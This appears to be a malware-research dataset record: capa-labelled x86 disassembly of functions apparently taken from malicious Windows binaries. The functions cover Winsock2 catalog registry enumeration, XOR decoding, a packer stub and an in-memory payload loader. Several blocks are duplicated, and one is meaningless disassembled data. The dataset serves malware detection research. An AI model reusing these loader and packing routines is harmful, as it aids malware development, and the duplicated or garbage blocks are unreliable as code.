joyce8/EMBER2024-capa huggingface dataset:
Function at 0x468720
Capabilities:
Query or enumerate registry key

Disassembly:
sub esp, 0x110
push ebx
push ebp
mov ebp, dword [esp + 0x11c]
push esi
xor esi, esi
push edi
cmp ebp, esi
mov ebx, ecx
mov dword [esp + 0x10], esi
mov dword [esp + 0x14], esi
mov dword [esp + 0x18], esi
jne 0x468754
pop edi
pop esi
pop ebp
xor eax, eax
pop ebx
add esp, 0x110
ret 4
push ebp
mov ecx, ebx
call fcn.00468630
test eax, eax
jne 0x46876d
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x110
ret 4
push ebp
mov ecx, ebx
call fcn.004686a0
cmp eax, 1
je 0x4688fa
lea eax, [esp + 0x10]
push eax
push str.SYSTEMCurrentControlSetServicesWinSock2ParametersProtocol_Catalog9Catalog_Entries
push closesocket
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyA]
test eax, eax
je 0x4687a6
pop edi
pop esi
pop ebp
xor eax, eax
pop ebx
add esp, 0x110
ret 4
mov edx, dword [esp + 0x10]
mov edi, dword [sym.imp.ADVAPI32.dll_RegEnumKeyA]
lea ecx, [esp + 0x1c]
push 0x104
push ecx
push esi
push edx
call edi
test eax, eax
jne 0x468822
mov edx, dword [esp + 0x10]
lea eax, [esp + 0x14]
lea ecx, [esp + 0x1c]
push eax
push ecx
push edx
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyA]
test eax, eax
jne 0x4688a2
mov eax, dword [esp + 0x14]
push str.PackedCatalogItem
push eax
mov ecx, ebx
call fcn.00468560
mov ecx, dword [esp + 0x14]
test eax, eax
push ecx
je 0x4688b9
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov eax, dword [esp + 0x10]
lea edx, [esp + 0x1c]
inc esi
push 0x104
push edx
push esi
push eax
mov dword [esp + 0x24], 0
call edi
test eax, eax
je 0x4687c2
mov eax, dword [esp + 0x10]
lea edx, [esp + 0x1c]
xor esi, esi
push 0x104
push edx
push esi
push eax
mov dword [esp + 0x28], esi
call edi
test eax, eax
jne 0x468870
mov eax, dword [esp + 0x10]
lea ecx, [esp + 0x18]
push ecx
lea edx, [esp + 0x20]
push ebp
push edx
push eax
mov ecx, ebx
call fcn.00468210
test eax, eax
je 0x4688a2
mov edx, dword [esp + 0x10]
lea ecx, [esp + 0x1c]
inc esi
push 0x104
push ecx
push esi
push edx
call edi
test eax, eax
je 0x46883e
cmp dword [esp + 0x18], 1
jb 0x4688a2
mov edi, ebp
or ecx, 0xffffffff
xor eax, eax
push 1
repne scasb al, byte es:[edi]
not ecx
push str.SYSTEMCurrentControlSetServicesWinSock2ESPI11
dec ecx
push closesocket
push ecx
push ebp
push str.FileName
mov ecx, ebx
call fcn.004680f0
cmp eax, 1
je 0x4688eb
mov eax, dword [esp + 0x10]
test eax, eax
jne 0x4688c9
pop edi
pop esi
pop ebp
xor eax, eax
pop ebx
add esp, 0x110
ret 4
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov dword [esp + 0x14], 0
jmp 0x4688a2
push ebp
mov ecx, ebx
call fcn.00468910
mov eax, dword [esp + 0x10]
push eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
pop edi
pop esi
pop ebp
xor eax, eax
pop ebx
add esp, 0x110
ret 4
mov eax, dword [esp + 0x10]
test eax, eax
je 0x4688fa
push eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
pop edi
pop esi
pop ebp
mov eax, 1
pop ebx
add esp, 0x110
ret 4
Function at 0x468910
Capabilities:
Query or enumerate registry key

Disassembly:
sub esp, 0x10c
push ebp
mov ebp, dword [esp + 0x114]
push esi
xor esi, esi
push edi
cmp ebp, esi
mov edi, ecx
mov dword [esp + 0xc], esi
mov dword [esp + 0x10], 1
jne 0x468942
pop edi
pop esi
xor eax, eax
pop ebp
add esp, 0x10c
ret 4
push esi
mov ecx, edi
call fcn.004686a0
test eax, eax
jne 0x46895f
pop edi
pop esi
mov eax, 1
pop ebp
add esp, 0x10c
ret 4
lea eax, [esp + 0xc]
push eax
push str.SYSTEMCurrentControlSetServicesWinSock2ParametersProtocol_Catalog9Catalog_Entries
push closesocket
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyA]
test eax, eax
je 0x468986
pop edi
pop esi
xor eax, eax
pop ebp
add esp, 0x10c
ret 4
mov edx, dword [esp + 0xc]
push ebx
mov ebx, dword [sym.imp.ADVAPI32.dll_RegEnumKeyA]
lea ecx, [esp + 0x18]
push 0x104
push ecx
push esi
push edx
call ebx
test eax, eax
jne 0x4689d4
mov ecx, dword [esp + 0x10]
lea eax, [esp + 0x18]
push ebp
push eax
push ecx
mov ecx, edi
call fcn.004683b0
test eax, eax
jne 0x4689bd
mov dword [esp + 0x14], eax
mov eax, dword [esp + 0x10]
lea edx, [esp + 0x18]
inc esi
push 0x104
push edx
push esi
push eax
call ebx
test eax, eax
je 0x4689a3
push 0
push str.SYSTEMCurrentControlSetServicesWinSock2ESPI11
push closesocket
mov ecx, edi
call fcn.00468180
mov eax, dword [esp + 0x10]
pop ebx
test eax, eax
je 0x4689f7
push eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov eax, dword [esp + 0x10]
pop edi
pop esi
pop ebp
add esp, 0x10c
ret 4

Function at 0x481a18
Capabilities:
Get graphical window text

Disassembly:
push esi
mov esi, ecx
mov ecx, dword [esi + 0x38]
test ecx, ecx
jne 0x481a50
push dword [esi + 0x1c]
call dword [sym.imp.USER32.dll_GetWindowTextLengthA]
lea ecx, [eax + 1]
push ecx
mov ecx, dword [esp + 0xc]
push eax
call fcn.0047facf
push eax
push dword [esi + 0x1c]
call dword [sym.imp.USER32.dll_GetWindowTextA]
mov ecx, dword [esp + 8]
push 0xffffffffffffffff
call fcn.0047faa7
jmp 0x481a5c
mov eax, dword [ecx]
push dword [esp + 8]
call dword [eax + 0x88]
pop esi
ret 4

Function at 0x48310d
Capabilities:
Extract resource via kernel32 functions

Disassembly:
push ebx
push esi
push edi
xor edi, edi
cmp dword [esp + 0x10], edi
mov ebx, ecx
je 0x48314f
call fcn.00488bc7
mov esi, dword [eax + 0xc]
push 0xf0
push dword [esp + 0x14]
push esi
call dword [sym.imp.KERNEL32.dll_FindResourceA]
cmp eax, edi
je 0x48314f
push eax
push esi
call dword [sym.imp.KERNEL32.dll_LoadResource]
cmp eax, edi
jne 0x483146
xor eax, eax
jmp 0x483157
push eax
call dword [sym.imp.KERNEL32.dll_LockResource]
mov edi, eax
push edi
mov ecx, ebx
call fcn.0048315d
pop edi
pop esi
pop ebx
ret 4
Function at 0x4890f7
Capabilities:
Get thread local storage value

Disassembly:
push ebx
push esi
mov esi, ecx
lea ebx, [esi + 0x1c]
push ebx
call dword [sym.imp.KERNEL32.dll_EnterCriticalSection]
cmp dword [esp + 0x10], 0
jne 0x489125
push dword [esi]
call dword [sym.imp.KERNEL32.dll_TlsGetValue]
test eax, eax
je 0x489143
push dword [esp + 0xc]
mov ecx, esi
push eax
call fcn.0048905d
jmp 0x489143
mov eax, dword [esi + 0x14]
test eax, eax
je 0x489143
push edi
push dword [esp + 0x10]
mov edi, dword [eax + 4]
mov ecx, esi
push eax
call fcn.0048905d
test edi, edi
mov eax, edi
jne 0x48912d
pop edi
push ebx
call dword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
pop esi
pop ebx
ret 8
Function at 0x1000e5e3
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x18
pushal
call 0x1000e5f2
pop dword [ebp - 8]
mov eax, 0x1000e5f2
sub dword [ebp - 8], eax
mov dword [ebp - 0x18], 0x2e9e46fe
add dword [ebp - 0x18], 0x1fb3fe4d
mov dword [ebp - 0x14], 0x3e28eca4
add dword [ebp - 0x14], 0xf40a5fa1
mov dword [ebp - 0x10], 0x8a806b5b
sub dword [ebp - 0x10], 0x3e34272d
mov dword [ebp - 0xc], 0x7986d9e3
sub dword [ebp - 0xc], 0x7986d9e3
lea eax, [ebp - 0x18]
push eax
mov eax, sym.imp.kernel32.dll_GetModuleHandleA
add eax, dword [ebp - 8]
call dword [eax]
mov dword [ebp - 0x18], 0x83e61b
add dword [ebp - 0x18], 0x73ee833b
mov dword [ebp - 0x14], 0x23c99d6b
add dword [ebp - 0x14], 0x1da2c40a
mov dword [ebp - 0x10], 0x939e8c80
sub dword [ebp - 0x10], 0x302f2014
mov dword [ebp - 0xc], 0xa813d607
add dword [ebp - 0xc], 0x57ec29f9
lea ebx, [ebp - 0x18]
push ebx
push eax
mov eax, 0xc5e364
sub eax, 0xf0c4b37c
add eax, dword [ebp - 8]
call dword [eax]
push 0x40
push 0x1000
push 0x33558
push 0
call eax
mov ecx, 0xd4565889
sub ecx, 0xd4561d74
mov ebx, eax
mov esi, 0x6373d190
add esi, 0xac8db870
add esi, dword [ebp - 8]
mov edi, 0xe9d7ddd2
add edi, 0x61101ed5
add dword [ebp - 4], 0xbe15c7f1
mov edx, dword [esi]
add dword [ebp - 4], 0x5c06286b
add edx, edi
add dword [ebp - 4], esi
mov dword [ebx], edx
xor dword [ebp - 4], eax
add ebx, 4
add esi, 0xe71e3f8f
sub esi, 0xe71e3f8b
loop 0x1000e70a
add eax, 0xdf27
xor ebx, ebx
add ebx, eax
add eax, 0x168d7f2d
sub eax, 0x168d7f28
mov ecx, 0x10000000
add ecx, dword [ebp - 8]
call ebx
leave
ret

Function at 0x430002
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
call 0x43000c
nop
nop
nop
pop eax
nop
nop
add eax, 0x403d6f
nop
nop
sub eax, 0x403d15
nop
nop
mov ebx, dword [eax]
nop
nop
nop
mov ecx, dword [eax + 4]
nop
nop
mov edx, dword [eax + 8]
nop
nop
nop
xor dword [ebx], edx
nop
nop
nop
nop
add ebx, 4
nop
nop
nop
nop
nop
cmp ebx, ecx
nop
nop
jl 0x430030
nop
nop
nop
nop
add eax, 0xc
nop
nop
nop
nop
nop
cmp dword [eax], 0
nop
nop
nop
nop
jne 0x43001e
nop
popal
nop
nop
nop
nop
nop
jmp loc.00401219
Function at 0x4117a4
Capabilities:
Get number of processors
Resolve function by parsing pe exports

Disassembly:
push edi
add edi, 0x9225
or edi, 0x2705
pop edi
push edx
or edx, 0xe551
pop edx
push edx
push eax
add esp, 4
call fcn.004117a4
add byte [esi], dh
cmp eax, 0x384a4545
aaa
add esp, 4
or edx, 0x6fd2
pop edx
mov ecx, dword [ebp - 0xc9c]
mov dx, word [ecx]
mov word [ebp - 0x1036], dx
mov eax, dword [ebp - 0xc9c]
add eax, 2
mov dword [ebp - 0xc9c], eax
mov cx, word [ebp - 0x1036]
mov word [ebp - 0x214], cx
mov edx, dword [ebp - 0xca0]
mov ax, word [edx]
mov word [ebp - 0x1038], ax
mov ecx, dword [ebp - 0xca0]
add ecx, 2
mov dword [ebp - 0xca0], ecx
mov dx, word [ebp - 0x1038]
mov word [ebp - 0x110], dx
push edi
add edi, 0x3c4f
sub edi, 0x30a3
sub edi, 0xb7c5
or edi, 0x8924
pop edi
push edi
push ecx
add esp, 4
and edi, 0xee58
or edi, 0x5a72
sub edi, 0xbc5c
pop edi
movzx eax, word [ebp - 0x110]
test eax, eax
jne 0x41185d
movzx ecx, word [ebp - 0x214]
movzx edx, word [ebp - 0x110]
sub ecx, edx
mov dword [ebp - 0x15ec], ecx
jmp 0x4118c0
movzx eax, word [ebp - 0x214]
movzx ecx, word [ebp - 0x110]
cmp eax, ecx
je 0x41177c
movzx edx, word [ebp - 0x214]
xor edx, 0x20
movzx eax, word [ebp - 0x110]
cmp edx, eax
je 0x41177c
movzx ecx, word [ebp - 0x214]
movzx edx, word [ebp - 0x110]
cmp ecx, edx
jge 0x4118aa
mov dword [ebp - 0x15e8], 0xffffffff
jmp 0x4118b4
mov dword [ebp - 0x15e8], 1
mov eax, dword [ebp - 0x15e8]
mov dword [ebp - 0x15ec], eax
cmp dword [ebp - 0x15ec], 0
jne 0x411909
push ecx
xor ecx, 0xdbe
add ecx, 0x1e81
add ecx, 0xb150
pop ecx
push ecx
sub ecx, 0xc174
jmp 0x4118eb
jmp 0x4118f4
and ecx, 0x91f
pop ecx
mov ecx, dword [ebp - 0x508]
mov dword [ebp - 0x750], ecx
jmp 0x411971
push esi
push edx
add esp, 4
sub esi, 0x126c1
call 0x411922
add byte [ebx + 0x32], cl
push eax
dec esp
inc ebp
inc eax
xor dh, byte [esi]
add esp, 4
call 0x411931
add byte [edi + eax*2 + 0x4c], al
dec eax
dec ebp
dec ebp
add esp, 4
or esi, 0x12c74
pop esi
mov edx, dword [ebp - 0x508]
mov eax, dword [edx]
mov dword [ebp - 0x508], eax
mov ecx, dword [ebp - 0x508]
cmp ecx, dword [ebp - 0xca4]
je 0x411967
mov edx, dword [ebp - 0x508]
cmp dword [edx + 0x30], 0
jne 0x41171d
mov dword [ebp - 0x750], 0
Function at 0x411922
Capabilities:
Get number of processors
Resolve function by parsing pe exports

Disassembly:
push edi
add edi, 0x9225
or edi, 0x2705
pop edi
push edx
or edx, 0xe551
pop edx
push edx
push eax
add esp, 4
call fcn.004117a4
add byte [esi], dh
cmp eax, 0x384a4545
aaa
add esp, 4
or edx, 0x6fd2
pop edx
mov ecx, dword [ebp - 0xc9c]
mov dx, word [ecx]
mov word [ebp - 0x1036], dx
mov eax, dword [ebp - 0xc9c]
add eax, 2
mov dword [ebp - 0xc9c], eax
mov cx, word [ebp - 0x1036]
mov word [ebp - 0x214], cx
mov edx, dword [ebp - 0xca0]
mov ax, word [edx]
mov word [ebp - 0x1038], ax
mov ecx, dword [ebp - 0xca0]
add ecx, 2
mov dword [ebp - 0xca0], ecx
mov dx, word [ebp - 0x1038]
mov word [ebp - 0x110], dx
push edi
add edi, 0x3c4f
sub edi, 0x30a3
sub edi, 0xb7c5
or edi, 0x8924
pop edi
push edi
push ecx
add esp, 4
and edi, 0xee58
or edi, 0x5a72
sub edi, 0xbc5c
pop edi
movzx eax, word [ebp - 0x110]
test eax, eax
jne 0x41185d
movzx ecx, word [ebp - 0x214]
movzx edx, word [ebp - 0x110]
sub ecx, edx
mov dword [ebp - 0x15ec], ecx
jmp 0x4118c0
movzx eax, word [ebp - 0x214]
movzx ecx, word [ebp - 0x110]
cmp eax, ecx
je 0x41177c
movzx edx, word [ebp - 0x214]
xor edx, 0x20
movzx eax, word [ebp - 0x110]
cmp edx, eax
je 0x41177c
movzx ecx, word [ebp - 0x214]
movzx edx, word [ebp - 0x110]
cmp ecx, edx
jge 0x4118aa
mov dword [ebp - 0x15e8], 0xffffffff
jmp 0x4118b4
mov dword [ebp - 0x15e8], 1
mov eax, dword [ebp - 0x15e8]
mov dword [ebp - 0x15ec], eax
cmp dword [ebp - 0x15ec], 0
jne 0x411909
push ecx
xor ecx, 0xdbe
add ecx, 0x1e81
add ecx, 0xb150
pop ecx
push ecx
sub ecx, 0xc174
jmp 0x4118eb
jmp 0x4118f4
and ecx, 0x91f
pop ecx
mov ecx, dword [ebp - 0x508]
mov dword [ebp - 0x750], ecx
jmp 0x411971
push esi
push edx
add esp, 4
sub esi, 0x126c1
call 0x411922
add byte [ebx + 0x32], cl
push eax
dec esp
inc ebp
inc eax
xor dh, byte [esi]
add esp, 4
call 0x411931
add byte [edi + eax*2 + 0x4c], al
dec eax
dec ebp
dec ebp
add esp, 4
or esi, 0x12c74
pop esi
mov edx, dword [ebp - 0x508]
mov eax, dword [edx]
mov dword [ebp - 0x508], eax
mov ecx, dword [ebp - 0x508]
cmp ecx, dword [ebp - 0xca4]
je 0x411967
mov edx, dword [ebp - 0x508]
cmp dword [edx + 0x30], 0
jne 0x41171d
mov dword [ebp - 0x750], 0
Function at 0x411931
Capabilities:
Get number of processors
Resolve function by parsing pe exports

Disassembly:
push edi
add edi, 0x9225
or edi, 0x2705
pop edi
push edx
or edx, 0xe551
pop edx
push edx
push eax
add esp, 4
call fcn.004117a4
add byte [esi], dh
cmp eax, 0x384a4545
aaa
add esp, 4
or edx, 0x6fd2
pop edx
mov ecx, dword [ebp - 0xc9c]
mov dx, word [ecx]
mov word [ebp - 0x1036], dx
mov eax, dword [ebp - 0xc9c]
add eax, 2
mov dword [ebp - 0xc9c], eax
mov cx, word [ebp - 0x1036]
mov word [ebp - 0x214], cx
mov edx, dword [ebp - 0xca0]
mov ax, word [edx]
mov word [ebp - 0x1038], ax
mov ecx, dword [ebp - 0xca0]
add ecx, 2
mov dword [ebp - 0xca0], ecx
mov dx, word [ebp - 0x1038]
mov word [ebp - 0x110], dx
push edi
add edi, 0x3c4f
sub edi, 0x30a3
sub edi, 0xb7c5
or edi, 0x8924
pop edi
push edi
push ecx
add esp, 4
and edi, 0xee58
or edi, 0x5a72
sub edi, 0xbc5c
pop edi
movzx eax, word [ebp - 0x110]
test eax, eax
jne 0x41185d
movzx ecx, word [ebp - 0x214]
movzx edx, word [ebp - 0x110]
sub ecx, edx
mov dword [ebp - 0x15ec], ecx
jmp 0x4118c0
movzx eax, word [ebp - 0x214]
movzx ecx, word [ebp - 0x110]
cmp eax, ecx
je 0x41177c
movzx edx, word [ebp - 0x214]
xor edx, 0x20
movzx eax, word [ebp - 0x110]
cmp edx, eax
je 0x41177c
movzx ecx, word [ebp - 0x214]
movzx edx, word [ebp - 0x110]
cmp ecx, edx
jge 0x4118aa
mov dword [ebp - 0x15e8], 0xffffffff
jmp 0x4118b4
mov dword [ebp - 0x15e8], 1
mov eax, dword [ebp - 0x15e8]
mov dword [ebp - 0x15ec], eax
cmp dword [ebp - 0x15ec], 0
jne 0x411909
push ecx
xor ecx, 0xdbe
add ecx, 0x1e81
add ecx, 0xb150
pop ecx
push ecx
sub ecx, 0xc174
jmp 0x4118eb
jmp 0x4118f4
and ecx, 0x91f
pop ecx
mov ecx, dword [ebp - 0x508]
mov dword [ebp - 0x750], ecx
jmp 0x411971
push esi
push edx
add esp, 4
sub esi, 0x126c1
call 0x411922
add byte [ebx + 0x32], cl
push eax
dec esp
inc ebp
inc eax
xor dh, byte [esi]
add esp, 4
call 0x411931
add byte [edi + eax*2 + 0x4c], al
dec eax
dec ebp
dec ebp
add esp, 4
or esi, 0x12c74
pop esi
mov edx, dword [ebp - 0x508]
mov eax, dword [edx]
mov dword [ebp - 0x508], eax
mov ecx, dword [ebp - 0x508]
cmp ecx, dword [ebp - 0xca4]
je 0x411967
mov edx, dword [ebp - 0x508]
cmp dword [edx + 0x30], 0
jne 0x41171d
mov dword [ebp - 0x750], 0
Function at 0x4126b0
Capabilities:
Get number of processors

Disassembly:
mov byte [ebp - 0x9cc], 0x72
mov byte [ebp - 0x9cb], 0x6f
mov byte [ebp - 0x9ca], 0x74
mov byte [ebp - 0x9c9], 0x65
mov byte [ebp - 0x9c8], 0x63
mov byte [ebp - 0x9c7], 0x74
mov byte [ebp - 0x9c6], 0
push edi
jmp 0x4126e8
add edi, 0x3f58
call 0x4126fd
add byte [ebp + 0x45], al
aaa
dec ecx
inc edx
dec edx
dec edi
cmp al, 0x3f
add esp, 4
pop edi
push esi
push ecx
add esp, 4
or esi, 0x1270e
or esi, 0xb797
pop esi
mov eax, dword fs:[0x18]
mov dword [ebp - 0x1994], eax
mov ecx, dword [ebp - 0x1994]
mov edx, dword [ecx + 0x30]
mov dword [ebp - 0x1998], edx
mov eax, dword [ebp - 0x1998]
mov dword [ebp - 0x1614], eax
push edi
and edi, 0x16f65
and edi, 0x97f0
add edi, 0x12141
xor edi, 0x13965
pop edi
push edi
push ecx
add esp, 4
and edi, 0xe166
jmp 0x412765
sub edi, 0x12a59
pop edi
cmp dword [ebp - 0x1614], 0
jne 0x412784
mov dword [ebp - 0x2fc], 0
jmp 0x412a2b
mov ecx, dword [ebp - 0x1614]
mov edx, dword [ecx + 0xc]
mov eax, dword [edx + 0xc]
mov dword [ebp - 0xcc4], eax
push ebx
push edi
add esp, 4
jmp 0x4127a1
pop ebx
push edx
and edx, 0xd8fa
call 0x4127b8
add byte [ecx], bh
inc edi
inc ebx
cmp al, 0x35
inc esp
dec edi
xor eax, dword [ebx + 0x565a04c4]
push ebx
add esp, 4
sub esi, 0xe0f8
pop esi
cmp dword [ebp - 0xcc4], 0
jne fcn.004127e0
mov dword [ebp - 0x2fc], 0
jmp 0x412a2b

Function at 0x4126fd
Capabilities:
Get number of processors

Disassembly:
mov byte [ebp - 0x9cc], 0x72
mov byte [ebp - 0x9cb], 0x6f
mov byte [ebp - 0x9ca], 0x74
mov byte [ebp - 0x9c9], 0x65
mov byte [ebp - 0x9c8], 0x63
mov byte [ebp - 0x9c7], 0x74
mov byte [ebp - 0x9c6], 0
push edi
jmp 0x4126e8
add edi, 0x3f58
call 0x4126fd
add byte [ebp + 0x45], al
aaa
dec ecx
inc edx
dec edx
dec edi
cmp al, 0x3f
add esp, 4
pop edi
push esi
push ecx
add esp, 4
or esi, 0x1270e
or esi, 0xb797
pop esi
mov eax, dword fs:[0x18]
mov dword [ebp - 0x1994], eax
mov ecx, dword [ebp - 0x1994]
mov edx, dword [ecx + 0x30]
mov dword [ebp - 0x1998], edx
mov eax, dword [ebp - 0x1998]
mov dword [ebp - 0x1614], eax
push edi
and edi, 0x16f65
and edi, 0x97f0
add edi, 0x12141
xor edi, 0x13965
pop edi
push edi
push ecx
add esp, 4
and edi, 0xe166
jmp 0x412765
sub edi, 0x12a59
pop edi
cmp dword [ebp - 0x1614], 0
jne 0x412784
mov dword [ebp - 0x2fc], 0
jmp 0x412a2b
mov ecx, dword [ebp - 0x1614]
mov edx, dword [ecx + 0xc]
mov eax, dword [edx + 0xc]
mov dword [ebp - 0xcc4], eax
push ebx
push edi
add esp, 4
jmp 0x4127a1
pop ebx
push edx
and edx, 0xd8fa
call 0x4127b8
add byte [ecx], bh
inc edi
inc ebx
cmp al, 0x35
inc esp
dec edi
xor eax, dword [ebx + 0x565a04c4]
push ebx
add esp, 4
sub esi, 0xe0f8
pop esi
cmp dword [ebp - 0xcc4], 0
jne fcn.004127e0
mov dword [ebp - 0x2fc], 0
jmp 0x412a2b
Function at 0x4127b8
Capabilities:
Get number of processors

Disassembly:
mov byte [ebp - 0x9cc], 0x72
mov byte [ebp - 0x9cb], 0x6f
mov byte [ebp - 0x9ca], 0x74
mov byte [ebp - 0x9c9], 0x65
mov byte [ebp - 0x9c8], 0x63
mov byte [ebp - 0x9c7], 0x74
mov byte [ebp - 0x9c6], 0
push edi
jmp 0x4126e8
add edi, 0x3f58
call 0x4126fd
add byte [ebp + 0x45], al
aaa
dec ecx
inc edx
dec edx
dec edi
cmp al, 0x3f
add esp, 4
pop edi
push esi
push ecx
add esp, 4
or esi, 0x1270e
or esi, 0xb797
pop esi
mov eax, dword fs:[0x18]
mov dword [ebp - 0x1994], eax
mov ecx, dword [ebp - 0x1994]
mov edx, dword [ecx + 0x30]
mov dword [ebp - 0x1998], edx
mov eax, dword [ebp - 0x1998]
mov dword [ebp - 0x1614], eax
push edi
and edi, 0x16f65
and edi, 0x97f0
add edi, 0x12141
xor edi, 0x13965
pop edi
push edi
push ecx
add esp, 4
and edi, 0xe166
jmp 0x412765
sub edi, 0x12a59
pop edi
cmp dword [ebp - 0x1614], 0
jne 0x412784
mov dword [ebp - 0x2fc], 0
jmp 0x412a2b
mov ecx, dword [ebp - 0x1614]
mov edx, dword [ecx + 0xc]
mov eax, dword [edx + 0xc]
mov dword [ebp - 0xcc4], eax
push ebx
push edi
add esp, 4
jmp 0x4127a1
pop ebx
push edx
and edx, 0xd8fa
call 0x4127b8
add byte [ecx], bh
inc edi
inc ebx
cmp al, 0x35
inc esp
dec edi
xor eax, dword [ebx + 0x565a04c4]
push ebx
add esp, 4
sub esi, 0xe0f8
pop esi
cmp dword [ebp - 0xcc4], 0
jne fcn.004127e0
mov dword [ebp - 0x2fc], 0
jmp 0x412a2b
Function at 0x426900
Capabilities:
Encode data using xor

Disassembly:
test dword [ecx], ecx
or byte [ecx + 0x893a6fa], cl
or byte [ecx + 0x987d7ea], cl
or byte [edx - 0x75], ah
lds ebp, [eax + 0x80707f8]
jge 0x426930
iretd
pop eax
add eax, dword [edi]
pop es
pop ebx
mov ebx, edi
inc edx
push ecx
or dword [eax], ecx
mov ebx, edi
fidiv dword [edx]
or byte [eax], cl
mov ebx, ebp
cmp dword [0xfb890809], 0x8097932
arpl word [ecx - 0x10], bx
adc byte [eax], cl
or byte [eax], cl
or byte [ebp + 0x3d], dl
inc esi
dec esi
dec edx
inc ebp
pop eax
mov ecx, esp
or al, 0x89
leave
dec edi
push edi
or dword [eax], ecx
popal
xchg ebp, eax
popfd
cmp al, 0xf6
pop es
pop es
xchg ecx, eax
popfd
lodsb al, byte [esi]
clc
pop es
pop es
xchg ebx, eax
lea ebx, [eax + 3]
pop es
pop es
xchg ebx, eax
push eax
cmp byte [ecx + 0x7f8b095], dl
pop es
cmp ebx, edx
outsb dx, byte [esi]
xchg ecx, eax
popfd
xor al, 6
pop es
pop es
cmp ecx, eax
outsb dx, byte [esi]
xchg ecx, eax
lea esi, [eax]
pop es
pop es
pop es
pop eax
pop edi
mov ecx, esp
or al, 0xf3
or eax, 0x3a454351
push ebx
mov eax, edi
mov al, 0xcc
or byte [eax], cl
pushal
pop esi
mov esi, edx
ror byte [ebp - 0x1176f7f7], cl
jnp 0x426933
or dword [eax], ecx
lock adc dword [eax], ecx
or byte [eax], cl
or byte [ebx + 0x3f], al
dec ebp
inc esp
push ecx
push edx
dec edi
mov ecx, esp
or al, 0x66
xchg ebx, eax
xchg ebp, eax
mov al, pe_nt_image_headers32
pop es
pop es
outsb dx, byte [esi]
xchg ebx, eax
sbb dword [esi - 0x6f], ebp
popfd
sar bl, 7
pop es
xchg ebx, eax
lea esi, [eax - 0x74f8f808]
enter 0xffffffffffff910a, 0xffffffffffffff8d
mov al, pe_nt_image_headers32
pop es
pop es
outsb dx, byte [esi]
xchg ebx, eax
xchg ebp, eax
sar bl, 7
pop es
outsb dx, byte [esi]
xchg ecx, eax
xchg ebp, eax
xor al, 6
pop es
pop es
xchg ebx, eax
popfd
lodsb al, byte [esi]
clc
pop es
pop es
outsb dx, byte [esi]
xchg ebx, eax
or ch, byte [esi - 0x6f]
lea edi, [esi - 0x6cf8f805]
xchg ebp, eax
lodsb al, byte [esi]
clc
pop es
pop es
mov ecx, ecx
or dl, byte [ecx + 0x7f8ac95]
pop es
outsb dx, byte [esi]
xchg ebx, eax
popfd
mov esi, 0x6e0707fb
xchg ecx, eax
popfd
xor byte [edi], al
pop es
pop es
pop ebx
pop edi
mov ecx, esp
or al, 0xf0
adc cl, byte [eax]
or byte [eax], cl
or byte [eax + 0x3d], cl
inc ecx
pop eax
push ebx
dec edi
cmp eax, 0xcc8b414a
or al, 0x63
pop edx
mov edx, ebp
jno 0x426a60
or dword [eax], ecx
bound ebx, qword [edi + 0x5b]
mov ecx, esp
or al, 0x89
xlatb
lodsb al, byte [esi]
jg 0x426a51
or byte [ecx + 0x87c3acf], cl
or byte [edi + 0x17], ah
pop ss
mov edi, 0x707308d
pop es
invalid
push es
pop es
pop es
pop ss
mov edi, 0x707309d
pop es
xor edx, edx
xchg ecx, eax
xchg ebp, eax
mov bl, dh
pop es
pop es
imul edx, dword [edi], 0xffffffbf
lea esi, [esi + eax]
pop es
pop es
pop ss
mov edi, 0x7073095
pop es
inc ebx
leave
pop ss
mov word [ecx], ss
pop es
pop es
pop es
pop ss
mov edi, 0x706349d
pop es
mov edi, edx
sub byte [edi], dl
mov edi, 0x707308d
pop es
inc ebx
fcom dword [edi]
invalid